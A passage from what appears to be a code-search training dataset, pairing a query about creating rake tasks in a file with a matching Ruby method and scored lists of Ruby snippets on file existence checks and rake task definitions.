overwrite = overwrite? destination\n if overwrite.downcase == \"y\"\n FileUtils.copy_entry(source, destination, :preserve=>true, :remove_destination=>true)\n return true\n else\n puts \"Skipped installation of #{File.basename(source)}\"\n return false\n end\nend", "def ensure_pairs_file_exists\n file_exists = Helper.pairs_file_exists?\n\n unless file_exists\n if agree(\"Can't find a config file. Create a sample one? (yes/no)\")\n file_exists = Helper.create_pairs_file\n else\n Helper.complain_about_pairs_file\n file_exists = false\n end\n end\n\n file_exists\n end", "def exist?\n ::File.exist?(file_path)\n end", "def write_to(path)\n if !File.exists?(path)\n FileUtils.mkdir_p(path)\n else\n raise FileExists.new(\"#{path} already exists\")\n end\nend", "def overwrite?; end", "def exists?(file)\n out = File.exist?(file) &&\n !File.zero?(file)\n raise \"File #{file} does not exist or is empty!\" unless out\n out\nend", "def user_file_exist?(file)\n File.exist? user_file_path(file)\n end", "def file_exists\n end", "def file_exist?(file_path)\n File.exist?(file_path)\n end", "def file_exist?(path)\n exist?(path) && is_file?(path)\n end", "def exists?\n FileTest.exists?(@file)\n end", "def file_exists?(path)\n end", "def exists_or_false(file)\n File.exist?(file) ? file : false\n end", "def file_exists?(file)\n File.exists?(file)\n end", "def file_exists?\n File.exists?(@filename)\n end", "def exists?\n File.exist? file_path\n end", "def exists?\n file.exists?\n end", "def write( filename, contents )\n if File.exists? filename\n puts \"#{filename} already exists\"\n else\n puts \"Creating #{filename}\"\n ::File.open( filename, \"w\" ){ |f| f.write contents }\n end\nend", "def file_exist?(_file_name_=false)\n File.exists?(_file_name_ || current_file_path)\n end", "def save\n return false unless Restaurant.file_usable? #? better way? need to do given next line will return false if need be?..or will it return an error\n File.open(@@filepath,\"a\") do |file|\n file.puts \"#{[@name, @cuisine, @price].join(\"\\t\")}\\n\" #? better way?\n end\n return true\n # if ...\n # return true\n # else\n # return false\n # end\n end", "def ensure_exists\n create unless Dir.exist? path\n end", "def file_exists?(file)\n File.file? file\n end", "def already_stored?\n !file_uniqueness\n end", "def ensure_file_and_filename\n return true if up_to_date_with_parent?\n \n # Kill existing file in S3, if any - before rename\n if filename && AWS::S3::S3Object.exists?(full_filename, bucket_name)\n AWS::S3::S3Object.delete(full_filename, bucket_name)\n end\n\n set_filename_from_parent\n copy_file_from_parent\n true\n end", "def save\n if exists?\n update_attributes\n else\n if !create.nil?\n true\n else\n false\n end\n end\n end", "def save_exists?(index)\n File.exists?(DataManager.make_filename(index-1))\n end", "def exist?\n File.exist?(output)\n end", "def exists?\n File.exists?(filename)\n end", "def exist?\n filepath.file? and filepath.readable?\n end", "def file_exists?\n\tdirectory_name = \"db/seed_files\"\n\tunless File.exist?(directory_name)\n\t\tputs \"Created folder 'db/seed_files'\"\n\t\tDir.mkdir(directory_name)\n\tend\nend", "def suspend_file_exists?\n File.file? File.join(path, \"#{@name}.vmem\")\n end", "def suspend_file_exists?\n File.file? File.join(path, \"#{@name}.vmem\")\n end", "def ensure_exists(filename)\n puts(\"Couldn't find: #{filename}\") and exit unless FileTest.exist?(filename)\n end", "def a_save_exists?\n DataManager.save_file_exists?\n end", "def new_file?\n @new_file\n end", "def destination_file_up_to_date?\n return false unless compilation_context.incremental_build?\n\n source_db = compilation_context.source_file_database\n target_db = compilation_context.target_file_database\n\n destination_file_exist? && # destination file must exist\n target_db.up_to_date?(source_path) && # source file must be up-to-date from last build of this target\n source_db.file_stat_for(source_path) == target_db.file_stat_for(source_path)\n end", "def safeExists?(f)\n ret=false\n if f[/\\A[\\x20-\\x7E]*\\z/]\n return FileTest.exist?(f)\n end\n begin\n File.open(f,\"rb\") { ret=true }\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES\n ret=false\n end\n return ret\nend", "def file_exists?(name)\n File.file?(File.join(path, name))\n end", "def safeExists?(f)\n return FileTest.exist?(f) if f[/\\A[\\x20-\\x7E]*\\z/]\n ret=false\n begin\n File.open(f,\"rb\") { ret=true }\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES\n ret=false\n end\n return ret\nend", "def save\n create_file\n true\n end", "def file_exists(file_path)\n s = read_file(file_path)\n if s and s.length\n return true\n end\n return false\n end", "def ensure_exists(filename)\n return if FileTest.exist?(filename)\n\n puts(\"Couldn't find: #{filename}\") and exit\n end", "def Check_File(_Filename)\r\n unless File.exist?(\"#{_Filename.to_s}.yml\")\r\n File.open(\"#{_Filename.to_s}.yml\", 'w')\r\n end\r\nend", "def opx_file_exist?(file)\n File.exist?(file)\n rescue => e\n opx_err(\"Fatal failure of File.exist? for file: #{file}\", e)\n end", "def check_file_exist(_Filename)\r\n unless File.exist?(\"#{_Filename.to_s}.yml\")\r\n File.open(\"#{_Filename.to_s}.yml\", 'w')\r\n end\r\n end", "def safeExists?(f)\n return FileTest.exist?(f) if f[/\\A[\\x20-\\x7E]*\\z/]\n ret = false\n begin\n File.open(f,\"rb\") { ret = true }\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES\n ret = false\n end\n return ret\nend", "def exists?(style_name = default_style)\n if original_filename\n true\n else\n false\n end\n end", "def file_exist?\n return FileTest.exist?(@fileurl)\n end", "def remote_file_exists?(remote_file_name = nil,backup_options = nil,backup_name = nil)\n backup_options ||= @backup_options\n backup_name ||= @backup_name\n if remote_file_name\n remote_directory_name = File.dirname(remote_file_name)\n else \n backup_file_name = get_backup_file_name(backup_options)\n remote_directory_name = File.join(backup_options[:base_backup_directory],backup_name)\n remote_file_name = File.join(remote_directory_name,backup_file_name)\n end\n remote_bin_dir = backup_options[:bin_dir] ? \"#{backup_options[:bin_dir]}/\" : ''\n remote_cmd = \"#{remote_bin_dir}ubsafe_file_exists #{remote_file_name}\"\n cmd_status, cmd_output = ssh_cmd(remote_cmd)\n if cmd_status == :failure or cmd_output[0].chomp.strip == '1'\n return false\n end\n \n # remote_cmd = \"ls #{remote_directory_name}\"\n # #puts \"remote_file_exists? Looking for #{remote_directory_name}\"\n # cmd_status, cmd_output = ssh_cmd(remote_cmd)\n # if cmd_status == :failure or cmd_output.join(\"\\n\") =~ /no\\ssuch/i\n # #puts \"remote_file_exists? #{remote_directory_name} does not exist\"\n # return false\n # else\n # remote_cmd = \"ls #{remote_file_name}\"\n # #puts \"remote_file_exists? Looking for #{remote_file_name}\"\n # cmd_status, cmd_output = ssh_cmd(remote_cmd)\n # #puts \"remote_file_exists? cmd_status #{cmd_status}\"\n # if cmd_status == :failure or cmd_output.join(\"\\n\") =~ /no\\ssuch/i\n # #puts \"remote_file_exists? #{remote_file_name} does not exist\"\n # return false\n # end\n # end\n \n return true\n end", "def exist?\n File.exist? fullpath\n end", "def backup\n return false if !@file || !backup_file\n FileUtils.cp @file, backup_file if File.file? @file\n true\n end", "def exist?\n File.exist?(@path)\n end", "def modified_existing?\n false\n end", "def file_exists?(file_name)\n test(\"[ -f #{file_name} ]\")\n end", "def test_file_existence(filename, path, file_data = nil)\n return true if file_data&.exists?(filename.downcase)\n return true if File.exist?(format(Common_filename_format, path, filename).downcase)\n false\n end", "def file_exists(file)\n File.exists?(file)\n end", "def overwrite!\n @overwrite = true\n end", "def file_exists?(filename)\n shell_exec(\"test -f #{filename}\")\n rescue\n false\n else\n true\n end", "def writable?\n transient? || (filename && filename.writable?)\n end", "def write_file(path, content)\n file_exists = File.exists?(path)\n if file_exists and not @force\n fail \"File #{path} already exists. Not overwritten. Use --force to overwrite\"\n end\n save_file(path,content)\n message = file_exists ? \"File #{path} overwriten with new content\" : \"File #{path} created\"\n Puppet.notice message\n end", "def exist?()\n return File.exist?(@r_note_filepath)\n end", "def filecheck\n return file.nil? ? false : File.exist?(file)\n end", "def file_exists(file_name)\r\n if File.exists?(file_name) \r\n File.delete(file_name)\r\n end\r\nend", "def dirty?\n return true unless test(?e, destination)\n @mtime > ::File.mtime(destination)\n end", "def touch\n if !exists?\n touch_directories\n f = File.open(@filepath, \"w\"); f.close\n end\n end", "def updatedb_file_exists?(file)\n @updatedb.key?(file)\n end", "def check_file_exists(file_name)\n \tif File.exist?(file_name)\n logger.fatal \"#{file_name} already exists.\"\n \t\tabort\n \tend\n end", "def save\n create_ok = exists? ? true : create\n upload_ok = @unwritten_contents ? upload_new_content : true\n\n create_ok && upload_ok\n end", "def mmkv_file_exists(file)\n is_exist = false\n if File.methods.include?(:exists?)\n is_exist = File.exists? file\n else\n is_exist = File.exist? file\n end\n return is_exist\nend", "def cp_if_necessary(src, dst, owner = nil, mode = nil)\n if !File.exists?(dst) || different?(src, dst)\n cp(src, dst, owner, mode)\n true\n end\n end", "def fileExists?(filename)\n shell_exec(\"test -f #{filename}\") rescue return false\n true\n end", "def exist?\n @metadata_file_path.file? and @metadata_file_path.readable?\n end", "def update!\n if canonical_file.exist?\n if file.mtime > canonical_file.mtime\n save!\n end\n else\n save!\n end\n end", "def exists?\n File.exists?(path)\n end", "def check_overwrite(list)\n return if write?\n return if prompt?\n return if skip?\n #if newproject? && !output.glob('**/*').empty? # FIXME?\n # abort \"New project isn't empty. Use --force, --skip or --prompt.\"\n #end\n clobbers = []\n list.each do |action, fname|\n tpath = source + fname\n fpath = output + fname\n if fpath.file? #fpath.exist?\n clobbers << fname\n end\n end\n # TODO: implement --skip\n if !clobbers.empty?\n puts \" \" + clobbers.join(\"\\n \")\n raise \"These files would be overwritten. Use --write, --skip or --prompt.\"\n end\n end", "def exists\n if @file && @mp3\n return true\n else\n return false\n end\n end", "def already_being_processed?\n # if origional exists and destination has existed for 30s+\n # assume a previous run didn't get around to cleaning up the file\n if(File.exist?(@origional_file) && File.exist?(destination_file) && !recently_modified?(destination_file))\n $logger.info \"Found origional and transcoded file; moving origional\"\n move_origional_file\n return true\n end\n\n if File.exist? temp_file\n # if file has been modified in the last 30 seconds consider it in flight by another\n if recently_modified?(temp_file)\n $logger.info \" temp file modified recently (maybe by another process?) so skipping #{temp_file}\"\n return true\n else\n $logger.info \" temp file is old, deleting #{temp_file}\"\n File.delete temp_file\n end\n end\n false\n end", "def hook_add_files\n @flavor.class.before_add_files do |files, resource_action|\n if :create == resource_action && fail_on_clobber\n files.each do |file|\n if File.exist?(destination_path(file))\n fail \"tried to overwrite file #{file}; pass '-a clobber' to override\"\n end\n end\n end\n end\n end" ]
[ "0.787595", "0.7612725", "0.6988596", "0.69432896", "0.6587998", "0.65100396", "0.6501122", "0.6500705", "0.6461536", "0.6434471", "0.6405404", "0.6359023", "0.6343919", "0.6288038", "0.620873", "0.61942965", "0.6192671", "0.61546654", "0.6145405", "0.61445737", "0.6137306", "0.6128302", "0.6104359", "0.6102598", "0.6101272", "0.6091628", "0.6083993", "0.60580385", "0.60537946", "0.6043321", "0.60204285", "0.6011731", "0.60079235", "0.60057205", "0.5999373", "0.5989726", "0.5987883", "0.5977681", "0.5977379", "0.5973605", "0.5965813", "0.5959025", "0.5918612", "0.59090316", "0.5907342", "0.5903833", "0.5898076", "0.5881003", "0.5880119", "0.58390766", "0.58332795", "0.58289313", "0.5796711", "0.5796711", "0.57916605", "0.5790221", "0.5783364", "0.57829976", "0.5782987", "0.57801825", "0.5771841", "0.576893", "0.57625824", "0.57553697", "0.57533264", "0.5752348", "0.5750268", "0.57402915", "0.5730277", "0.5723673", "0.57193965", "0.57144403", "0.5693479", "0.5691559", "0.5684359", "0.5677589", "0.56753176", "0.5672432", "0.5654088", "0.56517625", "0.5651009", "0.56500256", "0.56422806", "0.5642181", "0.5641201", "0.5638444", "0.5631332", "0.5626076", "0.56243175", "0.56181955", "0.56163925", "0.56146246", "0.560715", "0.5606537", "0.5606053", "0.5602788", "0.5600048", "0.5588686", "0.55820096", "0.55813146" ]
0.8330788
0
Make rake tasks for of the tasks in tasknames, in the file named filepath. Makes all directories needed for the filepath if they don't already exist.
def make_tasks_in_file(tasknames = [], filepath = '.', task_body = "\n", namespace: '') indent = "" filedir = File.dirname(filepath) FileUtils.mkdir_p(filedir) unless Dir.exist?(filedir) File.open(filepath, 'w') do |f| unless namespace.empty? indent = " " f.puts namespace_start(namespace) end tasknames.each do |taskname| f.puts simple_rake_task(taskname, indent: indent, task_body: task_body) end f.puts namespace_end unless namespace.empty? end filepath end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_rake_files(base_dir)\n\n one_task_fn = File.join(base_dir, 'one_task.rake')\n make_tasks_in_file(['one_task'], one_task_fn) if ok_to_create?(one_task_fn)\n\n another_task_fn = File.join(base_dir, 'another_task.rake')\n make_tasks_in_file(['another_task'], another_task_fn) if ok_to_create?(another_task_fn)\n\n my_tasks_mine_fn = File.join(base_dir, 'my_tasks_all_mine.rake')\n make_tasks_in_file(['task1', 'task2', 'task3', 'task4'], my_tasks_mine_fn, namespace: 'mine') if ok_to_create?(my_tasks_mine_fn)\n\n tasks_run_all_fn = File.join(base_dir, 'other_tasks_run_all.rake')\n make_tasks_in_file(['other_task1_run_me', 'other_task2_run_me', 'other_task3_run_me', 'other_task_not_run_yet'], tasks_run_all_fn) if ok_to_create?(tasks_run_all_fn)\n\n tasks_mixed_duplicates_fn = File.join(base_dir, 'other_tasks_mixed_duplicates.rake')\n make_tasks_in_file(['other_task2_run_me', 'other_task3_run_me'], tasks_mixed_duplicates_fn) if ok_to_create?(tasks_mixed_duplicates_fn)\n\n task2_duplicate_fn = File.join(base_dir, 'task2_duplicate.rake')\n make_tasks_in_file(['task2'], task2_duplicate_fn, namespace: 'mine') if ok_to_create?(task2_duplicate_fn)\n\n task4_duplicate_fn = File.join(base_dir, 'task4_duplicate.rake')\n make_tasks_in_file(['task4'], task4_duplicate_fn, namespace: 'mine') if ok_to_create?(task4_duplicate_fn)\n end", "def make_tasks\n make_clean_task\n make_wix_folder_task\n make_copy_file_tasks\n make_sourcery_wxs_file_task\n make_sourcery_wixobj_file_task\n make_product_wxs_file_task\n make_product_wixobj_file_task\n make_msi_file_task\n make_msi_task\n make_test_task\n end", "def generate_rake_tasks\n @rake_tasks = outputs.map do |output, inputs|\n additional_paths = []\n inputs.each do |input|\n\n create_file_task(input.fullpath).dynamic do\n additional_paths += additional_dependencies(input)\n end\n end\n additional_paths.each { |path| create_file_task(path) }\n\n create_file_task(output.fullpath, inputs.map(&:fullpath)) do\n output.create { generate_output(inputs, output) }\n end\n end\n end", "def add_rakefile_and_tasks(rakefilename, task_names)\n\n # creates a new EvaluatedRakeFile entry if needed\n ev_rakefile = self.all_rakefiles[rakefilename]\n ev_rakefile.add_task_names(task_names)\n self.all_tasks.concat(ev_rakefile.all_tasks)\n\n ev_rakefile\n end", "def create_copy_file_tasks(source_files, source_root, dest_root, invoking_task)\n source_files.each do |source|\n target = source.pathmap(\"%{#{source_root},#{dest_root}}p\")\n directory File.dirname(target)\n file target => [File.dirname(target), source] do |t|\n cp source, target\n end\n task invoking_task => target\n end\nend", "def rake(*tasks)\n \"rake #{tasks.join(' ')}\"\n end", "def make_copy_file_tasks\n @files.each do |source, destination|\n next if source == destination\n next if Rake::FileTask.task_defined? destination\n type = File.directory?(source) ? 'folder' : 'file'\n task = Rake::FileTask.define_task destination do |t|\n folder = File.dirname(t.name)\n FileUtils.mkpath folder unless File.directory? folder\n FileUtils.copy source, t.name\n end\n task.comment = \"Create the #{destination} #{type}\"\n task.enhance ['wix']\n if Rake::FileTask.task_defined? source\n task.enhance [source]\n end\n end\n end", "def tasks_file(name)\n File.expand_path(File.join(@path, %w[ application tasks ], name))\n end", "def createTask(project, target)\n task \"#{project}.#{target}\" do\n print \"#######################################################\\n\"\n invokeRake project, target\n end\nend", "def createTask(project, target)\n task \"#{project}.#{target}\" do\n print \"#######################################################\\n\"\n invokeRake project, target\n end\nend", "def convert_to_rake()\n object_multitask = prepare_tasks_for_objects()\n\n res = typed_file_task get_rake_task_type(), get_task_name => object_multitask do\n cmd = calc_command_line\n Dir.chdir(@project_dir) do\n mapfileStr = @mapfile ? \" >#{@mapfile}\" : \"\"\n rd, wr = IO.pipe\n cmdLinePrint = cmd\n printCmd(cmdLinePrint, \"Linking #{executable_name}\", false) #OK\n cmd << {\n :out=> @mapfile ? \"#{@mapfile}\" : wr, # > xy.map\n :err=>wr\n }\n sp = spawn(*cmd)\n cmd.pop\n # for console print\n cmd << \" >#{@mapfile}\" if @mapfile\n consoleOutput = ProcessHelper.readOutput(sp, rd, wr)\n\n process_result(cmdLinePrint, consoleOutput, @tcs[:LINKER][:ERROR_PARSER], nil)\n check_config_file()\n post_link_hook(@tcs[:LINKER])\n end\n end\n res.tags = tags\n res.immediate_output = true\n res.enhance(@config_files)\n res.enhance([@project_dir + \"/\" + @linker_script]) if @linker_script\n\n add_output_dir_dependency(get_task_name, res, true)\n add_grouping_tasks(get_task_name)\n setup_rake_dependencies(res, object_multitask)\n\n # check that all source libs are checked even if they are not a real rake dependency (can happen if \"build this project only\")\n begin\n libChecker = task get_task_name+\"LibChecker\" do\n if File.exists?(get_task_name) # otherwise the task will be executed anyway\n all_dependencies.each do |bb|\n if bb and StaticLibrary === bb\n f = bb.get_task_name # = abs path of library\n if not File.exists?(f) or File.mtime(f) > File.mtime(get_task_name)\n def res.needed?\n true\n end\n break\n end\n end\n end\n end\n end\n rescue\n def res.needed?\n true\n end\n end\n libChecker.transparent_timestamp = true\n res.enhance([libChecker])\n\n return res\n end", "def build_tasks\n all_output.split(\"\\n\").map do |task|\n next unless task.start_with? 'rake'\n task.split(\"#\").map{|t| t.strip.sub(/^rake /, '')}\n end.compact\n end", "def define_tasks\r\n define_repeat_task\r\n define_clobber_task\r\n define_build_task\r\n end", "def execute_tasks(tasks,template_path)\n \n if File.exists?(File.expand_path(File.join(template_path,'tasks.rb')))\n load File.expand_path(File.join(template_path,'tasks.rb'))\n end\n \n tasks.each{\n |task|\n \n puts 'Running Task: ' + task\n \n task = replace_tags(task);\n \n options = task.split(', ')\n action = options.slice!(0)\n \n if(Tasks.respond_to?(action))\n Tasks.send action, options.join(', ')\n else\n send action, options.join(', ')\n end\n \n }\n \n end", "def load_tasks(tasks_relative_path, options = { task_name: \"\" })\n if defined?(Rake::Task) and not Rake::Task.task_defined?(options[:task_name])\n load File.join(@lib_root, \"tasks\", *Array(tasks_relative_path))\n end\n end", "def load_tasks(tasks)\n load File.join(File.dirname(__FILE__), 'tasks', \"#{tasks}.rb\")\nend", "def define_tasks\r\n define_clobber_task\r\n define_build_task\r\n end", "def run_build_tasks(*tasks)\n tasks.flatten.each { |t| run_build_task t }\n end", "def add_task_names(task_names)\n return if task_names.empty?\n\n missing_task_names = task_names - all_tasks.map(&:name)\n\n missing_task_names.each { |task_name| add_eval_task_named(task_name) }\n\n all_tasks\n end", "def ensure_tasks_folder\n io.mkdir('.webbynode/tasks') unless io.directory?(\".webbynode/tasks\")\n %w[before_push after_push].each do |file|\n io.exec(\"touch .webbynode/tasks/#{file}\") unless io.file_exists?(\".webbynode/tasks/#{file}\")\n end\n end", "def define_common_tasks(vcs, workdir, task_prefix, plines=[])\n vcs.map do |files, (lines, nvcs)|\n fn = \"#{task_prefix}#{Digest::SHA1.hexdigest(files.join)}\"\n File.write(File.join(workdir, fn), (plines + lines).join)\n task fn do\n docker_build(fn, workdir)\n end\n\n nfn = define_common_tasks(nvcs, workdir, task_prefix, plines + lines)\n nfn.each do |file|\n task file => fn\n end\n files.each do |file|\n task file => fn\n end\n fn\n end\n end", "def load_all_tasks_in_order\n load_dir = ENV[\"load_dir\"]\n tasks_and_files= [{\"ansi_code\"=>\"ansicode.csv\"},\n {\"client_profile_group\"=>\"clients.csv\"},\n {\"facilities\"=>\"facilities.csv\"},\n {\"rcc_payer\"=>\"rcc_payer.csv\"},\n {\"temp_reason_codes\"=>\"rcc_reason_codes.csv\"},\n {\"temp_reason_code_mappings\"=>\"rcc_mappings.csv\"},\n {\"temp_lockbox\"=>\"client_profile_lockbox.csv\"},\n {\"temp_payers\"=>\"ABAInfo.csv\"},\n {\"process_relationships_from_temp_tables\"=>\"\"},\n {\"change_partner_to_bac\"=>\"\"},\n {\"remove_temp_tables\" =>\"\"}]\n errors = []\n \n errors << \"Please provide a valid directory\" if (load_dir.blank? || !FileTest.exists?(load_dir))\n if errors.empty?\n tasks_and_files.each do |hash|\n csv_file = hash[hash.keys[0]]\n if !csv_file.blank?\n abs_path = load_dir + \"/\" + csv_file\n errors << \"File #{csv_file} not found in #{load_dir}\" if ! FileTest.exists?(abs_path)\n end\n end\n end\n\n if errors.empty?\n tasks_and_files.each do |hash|\n task = hash.keys[0]\n csv_file = hash[task]\n if !csv_file.blank?\n abs_path = load_dir + \"/\" + csv_file\n ENV[\"path\"] = abs_path\n puts \"processing file \" + ENV[\"path\"]\n end\n puts \"invoking task dataimport:#{task} ......\"\n Rake::Task[\"dataimport:#{task}\"].invoke \n end\n else\n errors.each do |err|\n puts err + \"\\n\"\n end\n end \nend", "def rakefiles_with_tasks_to_run\n\n rakefiles_with_tasks = new_hash_of_eval_rakefiles\n\n # This isn't efficient, but it's clear:\n all_tasks_to_run.each do |task_to_run|\n rakefilename = task_to_run.filename\n ev_rakefile_to_run = self.all_rakefiles[rakefilename]\n ev_rakefile_to_run.tasks_to_run << task_to_run\n rakefiles_with_tasks[rakefilename] = ev_rakefile_to_run\n end\n\n rakefiles_with_tasks\n end", "def run_rake(task)\n run \"cd #{current_path} && rake #{task} RAILS_ENV=#{environment}\"\nend", "def run_rake(task)\n run \"cd #{current_path} && rake #{task} RAILS_ENV=#{environment}\"\nend", "def run_rake(task)\n run \"cd #{current_path} && rake #{task} RAILS_ENV=#{environment}\"\nend", "def files_with_tasks_to_run\n\n # load all tasks into self.all_tasks\n get_tasks_from_rakefiles\n\n set_and_log_tasks_already_ran(self.all_tasks)\n set_and_log_duplicate_tasks(self.all_tasks_not_previously_run)\n\n close_log_if_this_created_it(log)\n\n rakefiles_with_tasks_to_run\n\n rescue => error\n log.error(\"Error during #{self.class.name} #{__method__}! #{error}\") unless log.nil?\n raise error\n end", "def build(rakeTask)\n\t\t#we've called ourselves after updating prereqs and running them; now do our work\n\t\t\n\t\tfilePrereqs = filePrereqs() #remove internal build-system stuff\n\t\tunless FileUtils.uptodate?(target(), filePrereqs) #the check rake does always fails because it includes non-file prereq tasks, so do our own\n\t\t\tlinker().link(:objs => linkDepsOrdered(), :target => target())\n\t\tend\n\tend", "def add_rakefiles(*rakefiles)\n @rakefiles ||= ['merb-core/test/tasks/spectasks']\n @rakefiles += rakefiles\n end", "def convert_to_rake()\n object_multitask = prepare_tasks_for_objects()\n archiver = @tcs[:ARCHIVER]\n\n res = typed_file_task Rake::Task::LIBRARY, get_task_name => object_multitask do\n cmd = calc_command_line\n aname = calc_archive_name\n Dir.chdir(@project_dir) do\n FileUtils.rm(aname) if File.exists?(aname)\n# cmd.map! {|c| c.include?(' ') ? \"\\\"#{c}\\\"\" : c }\n rd, wr = IO.pipe\n cmd << {\n :err => wr,\n :out => wr\n }\n sp = spawn(*cmd)\n cmd.pop\n\n consoleOutput = ProcessHelper.readOutput(sp, rd, wr)\n\n process_result(cmd, consoleOutput, @tcs[:ARCHIVER][:ERROR_PARSER], \"Creating #{aname}\")\n\n check_config_file()\n end\n end\n res.tags = tags\n enhance_with_additional_files(res)\n add_output_dir_dependency(get_task_name, res, true)\n\n add_grouping_tasks(get_task_name)\n\n setup_rake_dependencies(res, object_multitask)\n return res\n end", "def load_tasks(dir=@tasks_dir)\n @task_files = []\n Dir.entries(dir).each do |entry| \n #\n # Check for obvious directories\n #\n if !(entry =~ /^\\./)\n #\n # Make sure it's a file\n #\n if File.file? dir + \"/\" + entry \n #\n # Toss it in our array\n #\n @task_files << dir + \"/\" + entry \n end\n end\n end\n \n #\n # For each of our identified task files...\n #\n @task_files.each do |task_file|\n #\n # Create a new task and eval our task into it\n #\n TapirLogger.instance.log \"Evaluating task: #{task_file}\"\n t = Task.new\n t.instance_eval(File.open(task_file, \"r\").read)\n\n #\n # Add it to our task listing\n #\n @tasks << t\n end\n end", "def rake_tasks(&block); end", "def rake_tasks(&block); end", "def generate()\n objects = []\n\n # generate object file tasks\n files.each do |fname|\n output_file = File.join(@build_dir, File.basename(fname).ext('o'))\n objects.push output_file\n file output_file => [ fname ] do\n get_toolchain().compile( fname, output_file )\n end\n end\n\n # Link object files\n file output_file() => objects do\n get_toolchain().link( objects, output_file() )\n end\n\n # Create top level task\n desc \"Build the #{@name} application\"\n task @name => [ output_file() ]\n end", "def generateRakeForProcesses(iProcesses, iFileName, iDir)\n rLastFileName = iFileName\n\n lFileNameNoExt = File.basename(iFileName[0..-5])\n iProcesses.each_with_index do |iProcessInfo, iIdxProcess|\n lProcessName = iProcessInfo[:Name]\n lProcessParams = iProcessInfo.clone.delete_if { |iKey, iValue| (iKey == :Name) }\n access_plugin('Processes', lProcessName) do |ioActionPlugin|\n # Set the MusicMaster configuration as an instance variable of the plugin also\n ioActionPlugin.instance_variable_set(:@MusicMasterConf, @MusicMasterConf)\n # Add Utils to the plugin namespace\n ioActionPlugin.class.module_eval('include MusicMaster::Utils')\n lCurrentFileName = rLastFileName\n rLastFileName = getProcessedFileName(iDir, lFileNameNoExt, iIdxProcess, lProcessName, lProcessParams)\n\n desc \"Process file #{lCurrentFileName} with #{lProcessName}\"\n file rLastFileName => [lCurrentFileName] do |iTask|\n log_info \"===== Apply Process #{iProcessInfo[:Name]} to #{iTask.name} =====\"\n FileUtils::mkdir_p(File.dirname(iTask.name))\n ioActionPlugin.execute(iTask.prerequisites.first, iTask.name, '.', lProcessParams)\n end\n\n end\n end\n\n return rLastFileName\n end", "def declare_rakefile\n @flavor.class.do_declare_resources do\n # :nocov:\n lazy_vars = Chef::DelayedEvaluator.new do\n { tasks: rake_tasks }\n end\n # :nocov:\n add_templates(%w(Rakefile), :create, variables: lazy_vars)\n end\n end", "def configure_tasks\n super\n all_object_files = []\n all_object_folders = []\n @toolchains.each do |toolchain, sources|\n toolchain.add_include_paths(@api_headers+@configuration_headers)\n object_files, object_folders = toolchain.create_compile_tasks(sources)\n all_object_files |= object_files\n all_object_folders |= object_folders\n end\n\n project_filename = @parent_project.project_name.to_s.gsub(':','-')\n library_files, library_folders = @default_toolchain.create_static_library_tasks(all_object_files, project_filename)\n dependencies = @dependencies+all_object_folders+library_folders+library_files\n\n desc \"Build library '#{@parent_project.project_name}' with configuration '#{@configuration_name}'\"\n new_task = static_library_task @configuration_name => dependencies do |t|\n @post_build.call if @post_build.respond_to? :call\n puts \"built library #{t.name}.\"\n @tests.each do |test|\n if Rake::Task.task_defined? test\n Rake::Task[test].invoke\n else\n $stderr.puts \"warning: Skipping unknown test '#{test}'\"\n end\n end\n end\n new_task.api_headers = @api_headers\n new_task.configuration_headers = @configuration_headers\n new_task.library_files = library_files\n end", "def create_tasks\n Application.features[self].each{ |f|\n extend Rake::DSL\n taskname = \"#{f.to_s.split('::').last}\"\n desc \"Feature\"\n task taskname => [\"#{taskname}:install\"] do\n end\n namespace taskname do\n desc \"install #{taskname}\"\n task :install do\n puts \"----> installing #{taskname}\"\n puts \"#{self} | #{f}\"\n Application.install[f.name].each{ |c|\n puts \"#{c}\"\n }\n end\n end \n } if Application.features[self]\n end", "def rake(task,*args)\n run 'rake', rake_task(task,*args)\n end", "def load_tasks(dir=@tasks_dir)\n @task_files = []\n Dir.entries(dir).each do |entry| \n #\n # Check for obvious directories\n #\n if !(entry =~ /^\\./)\n #\n # Make sure it's a file\n #\n if File.file? dir + \"/\" + entry \n #\n # Toss it in our array\n #\n @task_files << dir + \"/\" + entry \n end\n end\n end\n \n #\n # For each of our identified task files...\n #\n @task_files.each do |task_file|\n #\n # Create a new task and eval our task into it\n #\n EarLogger.instance.log \"Evaluating task: #{task_file}\"\n t = Task.new\n t.instance_eval(File.open(task_file, \"r\").read)\n\n #\n # Add it to our task listing\n #\n @tasks << t\n end\n end", "def add_rakefiles(*rakefiles)\n @rakefiles ||= []\n @rakefiles += rakefiles\n end", "def create_all_library_tasks(env, libraries, dependent_task)\n libraries.each do | library |\n create_library_tasks(env, library, dependent_task)\n end\n\n desc \"Remove all dependency libraries from the lib directory\"\n task :clean do\n libraries.each do | library |\n rm_rf env.dependent_library_dir(library.name)\n end\n sh \"ino clean\"\n end\n\n desc \"Build the project\"\n task :build => dependent_task do\n sh \"ino build\"\n end\n end", "def build_rake_step(b, tasks)\n b.tag! \"hudson.plugins.rake.Rake\" do\n b.rakeInstallation \"(Default)\"\n b.rakeFile\n b.rakeLibDir\n b.rakeWorkingDir\n b.tasks tasks\n b.silent false\n end\n end", "def rake\n Dir.chdir @temp_dir\n system(\"rake\")\n end", "def declare_rake_tasks\n @flavor.class.do_declare_resources do\n if snippet?('cookbook_base')\n rake_tasks['foodcritic'] = <<'END'\nrequire 'foodcritic'\nrequire 'foodcritic/rake_task'\n\nFoodCritic::Rake::LintTask.new(:foodcritic)\ntask style: :foodcritic\nEND\n end\n end\n end", "def rake(*args) run_command('rake', args) end", "def define_tasks!\n\n define_test_tasks! if has_tests?\n define_rspec_tasks! if has_specs?\n\n namespace(@task_namespace) do\n desc \"Updates the filelist in the gemspec file\"\n task(:manifest) { manifest_task }\n\n desc \"Builds the .gem package\"\n task(:build => :manifest) { build_task }\n\n desc \"Sets the version of the gem in the gemspec\"\n task(:set_version => [:check_version, :check_current_branch]) { version_task }\n task(:check_version => :fetch_origin) { check_version_task }\n\n task(:fetch_origin) { fetch_origin_task }\n task(:check_current_branch) { check_current_branch_task }\n task(:check_clean_status) { check_clean_status_task }\n task(:check_not_diverged => :fetch_origin) { check_not_diverged_task }\n\n checks = [:check_current_branch, :check_clean_status, :check_not_diverged, :check_version]\n checks.unshift('spec:basic') if has_specs?\n checks.unshift('test:basic') if has_tests?\n # checks.push << [:check_rubyforge] if gemspec.rubyforge_project\n\n desc \"Perform all checks that would occur before a release\"\n task(:release_checks => checks)\n\n release_tasks = [:release_checks, :set_version, :build, 